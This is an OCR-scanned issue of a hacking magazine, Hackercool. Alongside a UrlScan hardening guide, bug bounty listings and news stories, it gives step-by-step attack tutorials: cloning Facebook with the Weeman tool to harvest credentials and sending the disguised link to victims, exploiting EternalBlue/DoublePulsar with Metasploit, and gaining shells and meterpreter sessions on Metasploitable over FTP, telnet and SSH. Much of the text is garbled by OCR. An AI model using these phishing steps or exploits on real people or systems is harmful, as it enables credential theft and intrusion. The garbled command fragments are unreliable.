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I can do all things through Christ who strengtheneth me.
Philippians 4:13

Editor's Note

Hello Readers, Thank you for buying or subscribing to
this magazine.This is the eighth issue of zeroeth edition
of my magazine Hackercool.

Let me infroduce myself. My name is Kalyan
Chakravarthi Chinta and | am a passionate cyber securi-
ty researcher (or whatever you want to call it). | am also
a freelance cyber security trainer and an avid blogger. But still let me make it v
-ery clear that | don't consider myself an expert in this field and see myself as a
script kiddie.

Notwithstanding this, | have my own blog on hacking, www.hackercool.com.
This blog has a dedicated Facebook page and Youtube channel with name
"Kanishkashowto". | also developed a vulnerable web application for practice
"Vulnerawa" to practice website security.

This magazine is intended to deal with hacking as close to reality as possi
-ble, both black hat and white hat. | am hopeful this magazine will be helpful not
only to the beginners who come into field of cyber security but also experts in t-
his field. Even people who want to keep themselves safe from the malicious ha
-ckers will find this helpful. The main focus of this magazine is dealing with hac-
king in real time scenatrios. i.e hacking with antivirus and firewall ON. My opinio
-n is that we cannot improve security consciousness in users until we teach the
-m about real time hacking.

In this issue, we didn't include a "Real Time Hacking Scenario” due to som
e technical issue. Apologies. Other than this, this issue has all reqular features.
We have decided to bring you some bug bounties which are recently announc-
ed. Maybe our magazine can help you in finding a bug in those programs. Who
knows What God can do?

This magazine is available for subscription on Magzter and Gumroad
and more recently at Playster. It is also available for sale on Kindle store, 24sy-
mbols, iBooks, nook, kobo, Pagefoundry and Scribd. If you have any queries
regard ing this magazine or want a specific topic please send them to
qa@hackercool.com and please don't forget to like our Facebook page
"Hackercool". Until the next issue, Good Bye.
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CONFIGURING URLSCAN IN IS 1

INSTALLIT

_/
Uriscan is a security tool used to restrict typ [© ... ST e s
-es of HTTP requests that IS web server will | e ——
process. It is a simple tool which is very helpf- [“¢at LI | P
ul in blocking harmful requests if you are usin-
15 16401 Filiers Zrwams | gemon |

g an |IS web server.

It seemingly supports only IIS 5.1, 1IS 6.0,
and IIS 7.0 on Windows Vista and Windows
Server 2008. It has been deprecated since IIS
7.5 and IIS 8. It is said that Microsoft has inclu
-ded the features of UrlScan in request filterin
-g option for IS 7.5 and IIS 8. But it definitely
is not a match for the simplicity of UrlScan.

This month on a user's request, let me sh
-ow you how to configure UrlScan in 1IS 10 to
IS 7.5. (IIS 7.5 is available in Windows server
2008 R2 and IIS 8 is available in Windows Se
-rver 2012 and Windows 8 and 11IS10 is availa
-ble in Windows Server 2016 & Windows 10).

| am going to configure this in Windows
server 2012 i.e 1S 8 but do not worry the conf
-iguration steps are similar upto IIS 10. First
and foremost install Web Platform Installer in
your machine. This will help us to install all th-
e components we require in simple steps. Fro
m web platform installer, select component IIS
6 metabase compatibility. This is compulsary
to install URLscan.

Internet information Services {IS) Manager

D EEEEE

— a U;!I Web Platform Installer
€y Start Page = i
495 SERVER (SHUNYA\Administry
) Application Pools
& Sites

Install it

Ready

Then, select IIS ISAPI Filters. (ISAPI filters m-

ay already be installed in |IS 7.5)
UrlScan helps protect Web servers by

blocking unusual requests to the web servers
because most malicious attacks share a common
characteristic, they use an unusual request.

Qptions Install

Features View | Content View

Ready

Click on "Install". You are shown a review of
components you selected to install. Click on "I
accept".

Web Platform Installer

PREREQUISITES

! UIS: 115 6 Metabase Compatibility
< WIS: ISAPI Filters
Total file download size:

| Accept

When the components are finished installing,
you will be shown a Finish screen. as shown
below. Click on "Finish".

Web Platform Installer x|
PREREQUISITES INSTALL CONFIGURE FINISH
v The following products were successfully installed.
115: IS & Metabase Compatibility
11S: ISAPI Filters
Finish

We are all set to install UrlScan. Download
Urlscan and click on the msi package. On the
window, select the option “| select the terms o
f license agreement” and click on “Install”.



Microsoft UrlScan Filter v3.1 Setup

Please read the Microsoft UrlScan Filter v3.1
License Agreement

Internet
Information
Services

IiS

MICROSOFT SOFTWARE
LICENSE TERMS

MICROSOFT URLSCAN
SECURITY TOOL 3.1

FOR USE WITH IIS 5.1, TIS
6.0 ANDIIS 7.0

W
Thaee liranse terme ara an anreameant hatwesan

[T accept the terms in the License Agreement

==

= Iermet infomation Senvces 15) Mansger ESEIE|
S B [
File View Help
TR .
@3 15API Filters Hap
“- B L g Add.
I :7 z;’::;?;um | Lo e 1 cond g SAPI st s st ot Vie
1 Apphcation Pools @ He
b & Sites Group by: No Grouping Ondine Hel
Name * Executable Entry Type

UrlSean 3.1 CWindeowslsystemi2\inetsr...  Lecal

=7 Features View | Content View

< n
Configuratien: ocalhost’ applicationHost.config

o«

Click on it. We can see that there is already a
filter named URLscan 3.1 linking to the execu
-table urlscan.dll.

The installation is very quick. Once it is finishe

d, click on “Finish”.

v3.1 Setup Wizard

Click Firish to exit the Setup Wizard,

) Microsoft Uriscan Filter v3.1 Setup | =1 © [N |
IIS [nhrmatlon Completed the Microsoft UrlScan Filter
Services

>

Edit ISAPI Filter

lbriscan 3.1 |

Executable:

C\Windows\system32\inetsn\uriscan\uriscan.dll

oK Cancel

| Before configuring UrlScan, let’s try a little ba-

nner grabbing to check whether UrlScan is wo
-rking or not. For this, we will use a tool called
Idserve to fingerprint the server on which we
have configured UrlScan.

already set like below.

L ﬂniﬁ' | —
[ &3 1D Serve
i " Internet Senver Identification Liility, v1.02
Now open |IS Manager and click on "ISAPI ID Serve Fedsmtemeysnete
H n Coppright ] 2003 by Gibtan Research Con S
filters" as shown below. it i -
LN Internet Information Services (11S) Manager M Beckdiound SenerQuEn | ELnrdall k
= = = 5 £
© [ S v sewven o JoE @ Enter of capy / paste an Intemet sarver URL of IP address here (axample: wwi, micrasolt com)
File View Help (“f
T @3 SERVER Home - mmm
stan ‘when an |ntemet URL of IP has been provided above
- ?u::mwwm ] Fowil | roupbe st 2 Query The Server l press this button to initiate a query of the specified server.
‘\pp cation Pools s o Swop F Fe &t Y e FETESW J AN AT RS 8T
5 ; £
',‘sas = @ i} § o Szrve- quey prur.esmg A
Authe €6l . Compression Default  Directory | (ﬁ [Sen
Document Browsing s
ErorPages - FastCGl Handler HTTR 5P and | ontent-Length Inl
Settings  Masppings  Respon..  CGiRes |l_!ue s complete =
O|8 » M
Pt | Loggng MNEType Madies Qv Tha sarvar [danifiad sl 8 -
Caching
@ [Microsoft-1S¢8.0
Features View Content View
Ready ¢
Copy r Golo ID Serve web page | Ext
If everything went well, we should see a fllter |

e N
Send all your installation
requests to to
ga@hackercool.com
- Y

We can see clearly that it is displaying the we
-b server version we are using, i.e Microsoft-
[1S/8.0.

Now let’s go to the configuration file of
urlscan (urlscan.ini) to make some necessary
changes toit. It is located by default at
“C:WindowsSystem32inetservurlscan”



Change the value of “RemoveServerHeader”
to “1” from “0” and save the file.

[=]a] =

UriScan - Notepad

Now let’s again try to bannergrab using the sa
me tool, Idserve. Restart the web server.

[=la] x

Internet Server Identification Utility, v1.02

Personal Secunty Freeware by Steve Gibsan R A
Copyright [c] 2003 by Gibson Research Corp. e o
Background Server Query | G&A/Help t

Enter or copy ¢ paste an Intemet server URL of IP address here (exampbe: wivi, microsoft com]

a

‘wher an Intemet LRL o IP has beet provided ahove,
pressthis button ko initiate a query of the specified server.

a -
Server query processing |
Connection: close
Content-Length: 6649

The server's response did not contain the expected 'Server' header to identify
itself. Therefore, server's identity can not be determined

Cluery complete

(j ¥

The server idertified itzelf as :

@ |

| [0 ]

We can see that t}we serr version has not
been disclosed this time. Hence our UrlScan
is working successfully.

Goto ID Serve web page |

BOUNTIES FOR YOU

US Air Force
The US Air Force has opened a bug bounty
program for many of its public facing websites
. This program is only open for hackers from
Five Eyes member countries : US, UK, Austra
-lia, Canada and New Zealand. This program
starts from May 29 and ends on June 23. You
can register for this program on HackerOne.
Vulnerabilities they are looking for : No spe
cific mention but should be typical web vulner-
abilities.

but the amount can be estimated from the am
ount DOD paid for Hack The Pentagon Challe

nge.They paid around 75,000 US dollars for
that challenge.
Technology Transfer Service

| Technology Transfer Service or TTS, is a wing

of the General Services Administration which
helps agencies in the development of technol
-ogical products.

Vulnerabilities they are looking for : Any
type of vulnerability and their vulnerability disc
losure policy is given at the link given below.

- https://18f.gsa.gov/vulnerability-disclosure-pol

icy/

il Rewards for the bounty range from $300 to

$5000 depending on the severity of the vulner
ability.

Kaspersky Lab
The famous anti-malware products producer
Kaspersky lab has decided to upgrade its bug
bounty program keeping in view the current s-
ecurity scenario.
They want you to disclose vulnerabilities in th-
eir desktop produvts given below.
1. Kaspersky Internet Security 2017
(https://products.s.kaspersky-

| labs.com/english/homeuser/kis2017)

2. Kaspersky Endpoint Security 10 SP1MR3
(http://aes.kaspersky-
labs.com/english/endpoints/kes10windows/ke
s10winsp1_mr3_en_aes56.exe)
3. Kaspersky Password Manager 8
(https://products.s.kaspersky-
labs.com/multilanguage/homeuser/kpmwin8.0
/setup_8.0.6.538.exe

Before trying the bounty, you need to acce
-pt conditions and follow some rules given at
https://hackerone.com/kaspersky
Vulnerabilities they are looking for :
They are looking for vulnerabilities like local
privileg -e escalation,user data compromise
and remo -te code execution. The vulnerabity
should be tested on Windows 8.1 or more
modern OS.

Local privilege escalation - $1,000
User data - $2,000
Remote code execution - $5,000)



CHIPOTLE FOOD CHAIN

HACK OF THE MONTH

If you are a regular customer of Chipotle food
chain in America, the company has got some

bad news for you. It has been the latest victim
to a data breach. Unfortunately this news cam
-e immediately after the company announced

huge profits.

What?

The payment system of the company has bee
-n hacked. The company announced that this
breach happened between March 24 and Apri
-1 14.

To those newbies, who don't know what
is payment system, it refers to all the alternati
-ve electronic payment systems which include
debit cards, credit cards, electronic fund trans
-fers, direct credits, direct debits, internet ban-
king and e-commerce payment systems.

Literally speaking, in this breach all the
above said details of the customers should ha
-ve leaked.

Who?
FIN7 or Carbanak
group is the prime
suspect. A
sophisticated hacking
group with suspected
ties to cybercrime
gangs operating in
Eastern Europe is now
actively targeting and
breaching prominent
brand-name restaurants in the USA.

Recently they targeted restaurant franchi-

ses Baja Fresh and Ruby Tuesday, according
to evidence obtained by CyberScoop.

How?

According to Cyberscoop, hackers sent a phi
shing email with a malicious attachment titled
“‘Payment overdue.eml” to an email account
associated with a Chipotle location in Tulsa,
Oklahoma.

The content consisted a description of a
nonexistent overdue payment and encourage-
s the victim to open the malicious attachment.

"The content consisted
a description of a
nonexistent overdue payment
and encourages the victim to
open the malicious

attachment. The attachment
was a Microsoft Office .RTF

file with an embedded OLE

object.”

The attachment was a Microsoft Office .RTF
file with an embedded OLE object. The file
was registered on VirusTotal on Feb. 22.

The sender of this email was named as Mic
-hael Smith and was listed as a manager of
an imaginary company named Slazzer LLC.

Impact

Sensitive data like this can be sold on dark
web. Financial data can be used to make frad
-ulent transactions. The impact can be termed
devastating.

Aftermath

As soon as Chipotle knew about the breach,
they have informed their customers about it.
Chipotle had also implemented additional sec
-urity measures, measures it believes will sto-
p the unauthorized activity.

Chipotle is also in touch with law enforc-
ment and a cyber security firm for investigatio

n into the data breach.

Precautions
to beTaken

If you are a Chipotle cu

stomer and if you gonn

a ask me as to what

precautions you need

to take, well just obser-

ve your bank account
carefully.

Yes, that's exactly what you need to do.With
your bank account, debit card information or
credit card information in some evil hands, th-
ats exactly what you need to do.

Apart from this, beware of phsihing. This
is one hacking attack your security products
can't protect you against. Please think carefull
y before you click on that tempting link.

Send all your queries
regarding online
safety to
qa@hackercool.com




Phishing with Weeman HTTP Server

The Art of Phishing (Cont'd)

In our previous issues, we learnt what is phis-
hing and how dangerous it is.We also saw wh
at is Spear Phishing and to perform phishing
manually.

Phishing is indeed one of the most dangero
-us hacking attacks where most of your secur-
ity software will fail to protect you. If you have
an organization, it is very important to test you
-r employees with phishing attacks to see how
probable they are to fall victim to phishing atta
ck.

Manual preparation of a phishing link is
a bit tedious. Luckily we have some tools whic
-h automatically make a phishing site of any
site we want. Today we will see one of such to
ols, Weeman HTTP Server.

Weeman HTTP server is a simple serve
r for phishing written in Python. So let us see
how to phish with Weeman HTTP server. We
will use Kali Linux as our attacker system.
Open a terminal in Kali and type command
git clone https://github.com/Hypsurus/weema
n to install Weeman HTTP server in Kali.

Go to the directory where the server is
installed and check its contents. There should
be a python script named weeman.py as sho-
wn below.

wWeeman

tools
weeman. py

profiles
README .md

Now start the
eman.py"“.

server by typing command “./we
It should look like below.

7-Scratch | Framework: ©.1]:

Check all the options we can set by typing co-
mmand “help“.

:[ 1.7-Scratch | Framework: 0.1]:

>>> help
show efault settings.
e for option (set <option> <value>).

7 (help <option=.)
: load the modules framework.

quit :oquit.,

We will use the default settings for this examp
-le. Type command “show” to see all the optio
ns we need to set to perform phishing.

action_url : None

user_agent 1 Mozilla/5.0 (X11; Linux x86 64) AppleWebKit/537.36 (KHTH
, like Gecko) Chrome/41.0.2227.0 Safari/537.36

html_file : None

external _js i None

Set the url option as the website for which you
want to create a phishing link. For this exampl
-e, | am using Facebook (sorry Mark). Set the
port appropriately( but use 80 ).The action_url
option sets the page you want the victim to re
direct after entering his credentials. This is sh-
own below.

:01] Downloadng webpage ...
2] Modifying the HTML file
St n 7 se .

1 on

| want the victim to original Facebook site onc
-e he enters his credentials. Type command
“run” to run our server. The server will start as
shown below.

:01] Trying to get https://www, facebook.com
1] Downloadng webpage ...

2] Modifying the HTHML file ..
I nl.7 se :

starting 1.7

Now find out your IP address, obfuscate it, sh
orten it (as shown in the previous issues) and



send the link to the victim. When the user
clicks on the link, he will get to our phishing

[ HACKSTORY )

page as shown below.

Pocsbast haga yeu oo Create an account

people

When the user enters his credentlals and click
s on Login, he will be redirected to the original
website.

ct and share with the

P

While on our attacker system, we can see the

credentlals of our victim. Happy Pen testing.In
] 11 1sd => AVqf7IKX
e == 2373552
ng redirect.html ...
8.25.1 - sent GET request with p
/cookie/consent/?pv=lé&dpr=1
2.168, 25 1 - sent POST request.

0y0C LrHMZlIwN[]IIIxL[]'H

3MCwONZgsNDg5LDO5Nyw 1Dk sNTQxl DU
You have seen how simple phishing

@ simliple click on the link can compro%
e the security of an organization as you have
seen in many popular data breaches (These ar
e discussed in our Hack Of The Month section
s). What can we do to protect ourselves from
phishing. If you have followed our THE ART O
F PHISHING section carefully, you should hav-
e observed anti-malware can't protect us in thi
s attack. The only thing that can protect us is
keen observation.In phishing (Feb2017) the ur
| was different.In phishing with Weeman HTTP
server, we can see the URI bar is showing an
IP address instead of a domain. Another impo
rtant thing is restraint. Normally phishing link
s are sent through mail with a captivating sub
ject.Many users fall victim for this attack. Take

for example, Chipotle Food Chain data breach
watever it is, phishing is here to stay. /

It was April 2007. The decision of Estonian go

vernment to relocate the statue of the Bronze

soldier in Tallinn (Estonia's capital city) has alr
eady created a controversy in and out of the
country. The nationalist Estonians considered

the statue (which was installed by Soviet Unio

-n ) a symbol of Soviet aggression while the p
oly ethnic Russians of Estonia and Russia its-
elf called the statue "Monument of Liberation".

When the statue was finally relocated, it le
d to two nights of riots.But the worse was yet
to come. Starting on 27 April 2007, websites b
elonging to the Estonian president, its parliam
ent and all government ministries,political part
ies,three of the country's news organisations,
two biggest banks and firms were swamped
with a series of DDOS attacks which almost
completely disabled Estonia.

This was the first time a hacking attack h-

as targeted a country on such a large scale. N
o doubt it's called the first cyber war. Estonia i
mmediately blamed Russia saying that this w-
as in response to the relocation of the above
| said Soviet War Memorial. Russia flatly denie-
d it and asked Estonia to present evidence. E-
stonia could'nt present any evidence.

This is why war in the fifth domain is so
dangerous (land,sea,air are the first three do-
mains. Space is the fourth and cyber field is
the fifth). It gives an attacker a scope of denia
bility and as everything is going didgital its att
ack vector also increases.

NATO sent its cyber investigation team
which proved nothing. But the first cyber war
taught many lessions. Estonia immediately to-
ok measures to improve its cyber security.
NATO performed a internal assessment of its
own cyber security and framed a cyber defen-
se framework. It also created a NATO Center
of Excellence for Cyber Defense in May 2008.
They also created a manual which included
cyber laws to use in the case of a cyber war.
This was the story of the first cyber war.



ETERNALBLUE, DOUBLE PULSAR and Enum_applications

METASPLOIT THIS MONTH

Shadow Group has been leaking tools used
by Equation Group of NSA of late. The latest
dump they leaked consisted a lot of Windows
exploits used by NSA to hack into Windows s-
ystems. Most of the vulnerabilities used by th-
ese exploits have been patched by Microsoft.
But there is one exploit which may still
not have been patched (Actually Microsoft alr-
eady released a patch for it, but some system
-s seemingly didn't apply the update). This ex-
ploit is called EternalBlue or ms17-010. It is a
vulnerability in Windows SMB v1 service. ltis
akin to the famous ms08_067 vulnerability in

Windows XP. Just like that, it is a remote vuln- :

erability which does not need any authenticati
on. No doubt the recent ransomware Wannac
ry has been exploiting this vulnerability.

Let us see how to use this eternalblue exp
-loit in Metasploit. Load the exploit as shown
below. Type command "show options" to see
the options we need to set.

msf > use exploit/windows/smb/eternalblue_doublepulsar
msf exploit( ) > show options

Module options (exploit/windows/smb/eternalblue_doublepulsar)

Name
Description

Current Setting

DOUBLEPULSARPATH /root/Eternalblue-Doublepulsar-Metasploit/deps/
Path directory of Doublepulsar
ETERNALBLUEPATH /root/Eternalblue-Doublepulsar-Metasploit/deps/
Path directory of Eternalblue
PROCESSINJECT wlms.exe

Name of process to inject into (Change to lsass.exe for x64)
RHOST

The target address
RPORT

The SMB service port
TARGETARCHITECTURE x86

Target Architecture (Accepted
WINEPATH

WINE drive ¢ path

445
86, x64)
/root/.wine/drive c/

The exploit works on any architecture of Wind
ows 7 with any service pack. We need only se
-t the remote target IP adress. But here | chan
-ged my default folder where WINE is installe-
d. The payload is automatically set athough |
have set it manually here.

Exploit target:

Id Name

msf exploit( set rhost 192.168.91.135
rhost => 192.168.91.135

msf exploit( ) >

) >

set winepath /usr/lib/i386-linux-gnu/wir

w1nep1th => /usr/1ib/1386-linux
oit( )
=> w1ndow%fmete|p reter/bind t(p

i )

-gnu/wine
> set payload windows/meterpreter/bind tcp

We may also need to change the 'processinje
ct' option if the default process (wlms.exe) giv
en by the exploit doesn't work.

| changed it to Isass.exe initially, but sinc-
e it was ending my meterpreter session when
the system restarts, | changed to explorer.exe

When all options were set, type command
"run" to execute the exploit as shown below.

1sf exploit( ) >
rocessinject => explorer.exe
ast exploit( ) >

set processinject explorer.exe

run

‘135 445 -
.135:445 -
.135:445 -
135:445 -

Generatlng Etern1lblue X da

Generating Doublepulsar XML data

Generating payload DLL for Doublepulsar

Writing DLL in /usr/1ib/i386-1inux-gnu/wineeternalll.dl

.135:445 -
.135:445 -

Launching Eternalblue...
Backdoor is already installed
8.91.135:445 - Launching Doublepulsar...

P* Sendlng stage (957999 bytes) to 192.168.91.135

[*] Meterpreter session 2 opened (192.168.91.128:4444
T 2017-05-28 13:44:43 -0400

[+] 192.168.91.135:445 - Remote code executed... 3... 2... 1..

-> 192.168.91.135:49159) ¢

reterpreter > i

There is a Doublepulsar exploit in this module
which helps in creating a backdoor by installin
-g a malicious dll file in the exploited system.
As you can see above, we successfully got a
meterpreter session in the remote system.
Enum_applications
The Enum_applications module is a post mod
ule of Metasploit which helps in enumerating
the applications installed on a Windows syste-
m we already hacked. This enumeration can
help us in selecting exploits for privilege escal
ation.
Load the exploit as shown above and set the

) > use post/windows/gather/enum application,

) > show options
Module options (post/windows/gather/enum_applications):

Name Current Setting Required Description

SESSION

msf post(

meterpreter sesson id. Run the exploit and yo
-u should get all the applications installed on
the target system.

) > set session 2
) > run
[*] Enumerating applications installed on WIN-BI3UK55VF6A

Installed Appl

Version

Microsoft Visual C++ 2008 Redistributable -
VMware Tools

x86 9.0.30729.4148 9.0.30729.4148
10.0.0.2977863

[*] Results stored

/root/.msf4/1oot/20170528134845 default 192.168.91.135 he
“t

ion completed
) >



Hacking FTP, TELNET and SSH

METASPLOITABLE TUTORIALS

The lack of vulnerable targets is one
of the main hindrances for practising the
skill of ethical hacking. Metasploitable is
one of the best and often underestimated
vulnerable OS useful to learn hacking or
pentesting. Many of my readers have been
asking me for metasploitable tutorials.So
we have decided to make a complete Meta
-sploitable hacking guide in accordance
with ethical hacking process. We have pla
-nned this series keeping absolute beginn-
ers in mind.

In the last two issues, we performed
enumeration and got some credentials. In
this issue we will see if those credentials
we got will be helpful to us in gaining acce

ss on the system.

We have performed two types of enumeration
till now. Before we perform further enumeratio

-n, let us see whether these credentials we ac .

quired can help us in gaining access to the re
mote system.

When we performed a scan with Nmap
during scanning and enumeration stage, we h
-ave seen that ports 21,22,23 are open and ru
nning FTP, Telnet and SSH services respectiv

t~# nmap -sS 192.168.91.130

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-@5-19 03:57 EDT

Nmap scan report for 192 91.130

Host is up (0.0@051s latency).

Not shown: 977 closed ports
STATE SERVICE
open
open
open
open
open
open

L open rpcbi

open

ftp
ssh
telnet
smtp
domain

open

D open

cp open
514/tcp open
1099/tcp open
1524/tcp open
2049/tcp open
2121/tcp open
3306/tcp open

logln
shell

rmiregistry
ingreslock
nfs
ccproxy-ftp
mysql

FTP
FTP stands for File Transfer Protocol. As the
name implies, it is used to share or transfer fil
es. This service runs on port 21 by default. Al

though not quite popular now, it was the most
popular way of sharing files in yesteryears. It
was quite popular as torrents now, only that
FTP is a client-server architecture.

Since FTP is used for sharing files, it has
a option to enable anonymous downloads. An
onymous download is a type of download whe
re anyone can download the file by logging in
with the username of "anonymous" and pass-
word as anything. But it a was courtesy to giv-
e your email address as password in those da
ys.

Enabling anonymous account on FTP se
-rver is considered a high security risk especi-
ally if the account given not only read but also
write permissions.

Another disadvantage with FTP is that it

uses clear text authentication. So if any hacke
r is sniffing on your LAN, he can see the user-
name and password in plain text.
Ok, Since our target is running FTP serv-
ice, let us first check if anonymous account is
enabled on the server.We can connect to FTP
server through terminal by using commad "ftp
target address" as shown below.

# Ttp 19’ 16 91 130
EcnnELth ta 1

0:root): anonymous
fy the password.

sy
Using blﬂdly mode to transfer files
ftp>

| try to login with the anonymous accoun
-t with anonymous as the password and the lo
gin is successful. Good, anonymous account
is enabled on the target.

ﬁowadays, FTP is widely used to upl-
oad files to the web server. There are man
y free and commercial FTP clients widely
used. Some of the famous FTP clients are
Filezilla, Cyberduck, FireFTP and Winscp
etc. Apart from this, it is still used for file
downloading. Although outdated, FTP is

@ ubiquitous. /




It's time to check the permissions given to an-
onymous user.

230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 1s
200 PORT command successful. Consider
150 Here comes the directory listing.
226 Directory send OK.
ftp> pwd
FEEE i
ftp> 1s -1
200 PORT command successful. Consider
150 Here comes the directory listing.
226 Directory send OK.

> put shell.php

: shell.php remote: shell.php

200 PORT command successful. Consider
553 Could not create file.
ftp> 1s
200 PORT command successful. Consider
150 Here comes the directory listing.
226 Directory send OK.
Ttp> |}

using PASV.

using PASV.

using PASV.

using PASV.

| type command "pwd" to see the current ftp d
irectory. It's root directory. Next | use "put" co
mmand to upload a random file to the FTP se-
rver. As you can see in the above image, file
could not be created. So anonymous account
has only "read" permissions.

Enabling write permissions to the anony-
mous account may result in propagation of m-
alware, pirated software etc. So anonymous
account is secure in this case.

Next | decided to try with credentials | got
during enumeration. | decided to try with
msfadmin. Login successful. | first checked th
-e contents of the ftp directory. It seems this a
ccount has admin rights on the FTP server.

Connected to 192.168.91.130.

220 (vsFTPd 2.3.4)

Name (192.168.91.130:root): msfadmin

331 Please specify the password

Password:

230 Login successful

Remote system type is UNIX.

Using binary mode to transfer files

ftp> s

200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 6 10e0 1000

226 Directory send OK

4096 Apr 28 2010 vulnerable

ftp> cd vulnerable

250 Directory successfully changed

ftp> s

200 PORT command successful. Consider
omes the directory listing

using PASVY.
3 1000
5 1000
2 1060
drwxr X 3 leee
226 Directory send OK
ftp> I
| once again try to upload the "shell.php"
into the FTP directory. This time it's success-

ful.

SFTP or Secure File Transfer Protocol
is a FTP protocol that runs over a SSH
secure connection.

1000
1000
1000
1000

4096 Apr
4096 Apr 28
4096 Apr
4096 Apr

2010 mysql-ssl
2010 samba

2010 tikiwiki

2010 twiki20030201

ftp> cd ..
250 Directory successfully changed

ftp> 1s

200 PORT command successful. Consider using PASV.
comes
X

150 Here the directory listing
- 20 65534

7 1060

2 1002

3 1001

226 Directory send 0K

ftp> cd msfadmin

250 Directory successfully changed

ftp> 1s

200 PORT command successful. Consider

4096 Mar 17
4096 May 18
4096 Apr 16
4096 May 18

2010 ftp
10:31 msfadmin
2010 service

09:48 user

1000
1002
le01

using PASV.
150 Here comes the directory listing
drwxr-xr-x 6 1000 1000

226 Directory send 0K

fTtp> put shell.php

local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
150 0k to send data.

226 Transfer complete.

26802 bytes sent in 0.04 secs (615.8403 kB/s)
ftp> I

4096 Apr 28 2010 vulnerable

Now | can upload any malicious file to the ser-
ver and can use it for any nefarious purpose.
or propagation.

TELNET
Telnet is a network protocol used to remotely
administer a system. It is bi-directional and int
-eractive communication protocol.Using telnet
we can remotely communicate with a system
far away. It runs on port 23.

We can coonect to a telnet server from t-
erminal just as we connected to a FTP server
using command "telnet IP address". Anyone
who successfully logs into telnet will get a she
Il on the remote system.

When | connected to the telnet server of
our target system, | didn't even need any enu-
meration as the username and password wer-
e displayed in the banner.

:~# telnet 192.168.91.130
Trying 192.168.91.130.
Connected to 192.168.91.130
Escape character is '*]'

wWarning: Never expose this VM to an untrusted network
Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable loain: M



ﬂl Scanning and Banner grabbing, WA
saw what are banners. Service banners

display information about the service they

are running. Hackers can use this

information to find out as to what services

they are running and find out any exploits
for them. In a rare case, they can even

display credentials like this.
An intelligent security admin will limit the
information displayed through their

K banners. /

When | logged in with the credentials msfadmi
n/msfadmin, as you can see in the below ima-
ge, | got a normal shell.

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin

Password:

Last login: Fri May 19 04:40:29 EDT 2017 on ttyl

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/

You have new mail.

msfadmin@metasploitable:~$ 1s

shell shell.elf shell.php vulnerable

msfadmin@metasploitable:~$ [

Although getting a shell on a remote system
is good, we can perform limited operations wi-
th this type of shells. But don't worry, we can
get a meterpreter session on the remote syste
m with the help of Metasploit, ofcourse by exp
loiting telnet.

ﬂ shell is a command-line interpreter
or shell that provides a traditional Unix-
like command line user interface. Users
direct the operation of the computer by

entering commands as text for a
command line interpreter to execute, or by
creating text scripts of one or more such
commands. In UNIX there are two types
of shells relevant to hacking.

A shell with a '$' symbol is a normal shell

with limited privileges. A shell with a '#'

symbol is a called a root shell which has
all privileges. A root user is akin to admini
strator in Windows but is more powerful

Qa the administrator in Windows. /

Start Metasploit and load the telnet module as
shown below. Set all the options we need and
execute the module by typing command "run".

u;1111 ry/scanner/telnet/telnet_login
) > set rhosts 192.168.91.130

ry( ) > set rport 23
23
liary( ) >
> msfadmin

set username msfadmin

( ) > set password msfadmin
password => msfadmin
mst auxiliary( ) > run
- No active DB -- Credential data will not be saved
- 192.168.91.130:23 - LOGIN SUCCESSFUL: msfadmin:msfad

[!'] 192.168.91.130:23
92. 1.130:23

.168.91.130:23
sfadmin:msfadmin
[*] Command shell session 1 opened (192.168.91.128:39035 ->
t ’017 05-19 04:58:27 -0400
canned 1 of 1 hosts (100% complete)
rv module eaecutlon completed
)

- Attempting to start session 192.168.91.130:23 with m

192.168.91.130:23) a

You can see that we successfully got a shell j-
ust like before. Type command "sessions" to
display the sessions we have.

msf auxiliary(

) > sessions

Id Type Information

1 shell  TELNET msfadmin:msfadmin (192.168.91.130:23) 19“ 63 91 128:39035
-> 192.168.91.130:23 (192.168.91.130)

) > 1
Metasploit provides a wonderful option to upg
rade a command shell to meterpreter shell. Lo
ad the following post module and the set the s
ession id as that of telnet shell. Run the modu

msf auxiliary(

) > use pothmultl;manuge/ahell to_meterpreter
) > set session 1
msf post( ) > run
Upgrading session ID: 1
*] Starting exploit/multi/handler
] Started reverse TCP handler on 192.168.91.128:4433
Starting the payload handler...
Transmitting intermediate stager for over
] Sending stage (1495599 bytes) to 192.168
[ Meterpreter session 2 opened (192.168.91. 12{ 4433 -
t 2017-05-19 05:00:43 -0400
[*] Command stager progress: 100.00% (668/668 bytes)
[*] Post module execution completed
msf post( ) >

As you can see in the above image, we suc
-cessfully got a meterpreter session on the m-
etasploitable system.

We can see all the sessions we have usin
g command "sessions".

1‘ed stage... (105 bytes)

> 192.168.91.130:47574) a

Active sessions

Information
Connection

1 shell iin:msfadmin (192.168.91.130:23)
1.128:39035 -> 192.168.91.130:23 (192.168
91.130)

2 meterpreter x86/1linux uid=1000, gid=1000, euid=1000, egid=1000, suid=1000
, 59id=1000 @ metasploitable 192.168.91.128:4433 -> 192.168.91.130:47574 (192.1
68.91.130)

msf post( ) > sessions -i 2
[*] Starting interaction with 2..

sysinfo
etasploitable
inux metasploitable 2.6.24-16-server #1 SMP Thu Apr

meterpreter >
Computer
16 13:58:00

0S
UTC 2608 (i68
Architecture 6

Meterpreter «86/1inux

meterpreter > I




We can interact with the session we want
by using command "sessions -i id" where id is
the session id number. We will see more abo-
ut meterpreter in our later issues.

For the first time, we gained access to
the metasploitable system, although with limit-
ed privileges.

SSH

SSH stands for a secure shell. It was designe
d as a replacement for telnet and intended to
be secure unlike telnet. SSH is a cryptographi
¢ network protocol which encrypts the data du
ring remote communication.

Thus it provides security and authenticati
-on also takes in encrypted format. Thus even
if any hacker is sniffing on the local LAN, he
still can't any SSh credentials. SSH by default
runs on port 22.

Just like it has a telnet module, Metasplo
-it also has a SSH login module. We will use t
he same credentials msfadmin/msfadmin to
login.

Load the SSH login module as shown bel
ow and configure required options.

«<1liary/scanner/ssh/ssh_login
/( ) rhosts 192.168.91.130

) > set
> set rport 22

) > set username msfadmin

) > set password msfadmin

